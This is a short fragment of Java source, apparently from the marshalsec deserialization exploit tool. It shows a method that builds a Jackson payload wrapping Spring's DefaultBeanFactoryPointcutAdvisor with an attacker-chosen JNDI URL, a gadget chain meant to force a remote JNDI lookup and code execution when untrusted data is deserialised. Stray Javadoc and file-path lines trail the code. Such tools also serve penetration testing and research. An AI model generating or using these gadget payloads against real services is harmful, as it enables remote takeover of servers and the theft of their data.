@Override
    @Args ( minArgs = 1, args = {
        "jndiUrl"
    }, defaultArgs = {
        MarshallerBase.defaultJNDIUrl
    } )
    public Object makeBeanFactoryPointcutAdvisor ( UtilFactory uf, String[] args ) throws Exception {
        String jndiUrl = args[ 0 ];
        Map<String, String> values = new LinkedHashMap<>();
        values.put("beanFactory", makeSpringJndiBeanFactory(jndiUrl));
        values.put("adviceBeanName", quoteString(jndiUrl));
        return writeCollection(
            HashSet.class.getName(),
            writeObject(DefaultBeanFactoryPointcutAdvisor.class, values),
            writeObject(DefaultBeanFactoryPointcutAdvisor.class, Collections.EMPTY_MAP));
    }
{@inheritDoc}

@see marshalsec.MarshallerBase#unmarshal(java.lang.Object)
src/main/java/marshalsec/Jackson.java